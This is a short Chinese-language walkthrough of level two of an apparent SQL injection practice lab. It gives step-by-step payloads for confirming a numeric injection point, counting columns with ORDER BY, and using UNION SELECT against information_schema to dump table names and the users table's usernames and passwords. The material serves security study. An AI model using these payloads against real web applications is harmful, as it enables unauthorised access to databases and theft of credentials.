跟第一关差不多,为了让加深印象,我再写一遍
第一步,判断是否存在注入点,若存在,是什么注入类型?有没有闭合?
?id=1'
页面报错,说明存在注入点;
接下来判断注入类型(当URL末尾加上 --+时,页面不报错即可猜出注入类型)
?id=1 --+
?id=1' --+
?id=1" --+
?id=1') --+
?id=1") --+
多试几个,发现只有?id=1 --+时页面正常,可判断第二关的注入类型为数字型注入,无闭合
第二步,判断字段数
无闭合,所以URL后面的注释符 --+加不加都行,建议加上
?id=1 order by 3 --+
页面正常
?id=1 order by 4 --+
报错,
由此可判断字段数为3
第三步:使用联合查询判断回显位
?id=-1 union select 1,2,3 --+
根据回显的页面,可判断回显位为第2和第3位
第四步:爆破数据库名
?id=-1 union select 1,2,database() --+
第五步,爆表名
?id=-1 union select 1, 2,(select group_concat(table_name)from information_schema.tables where table_schema='security') --+
由此查询到的表名为:emails,referers,uagents,users
第六步:爆users表中的字段名
得出users表中的字段:id,username,password
第七步:查询表中的字段名 爆数据
?id=-1 union select 1,2,(select group_concat(id,username,password)from users) --+
成功爆出数据
第二关完成啦!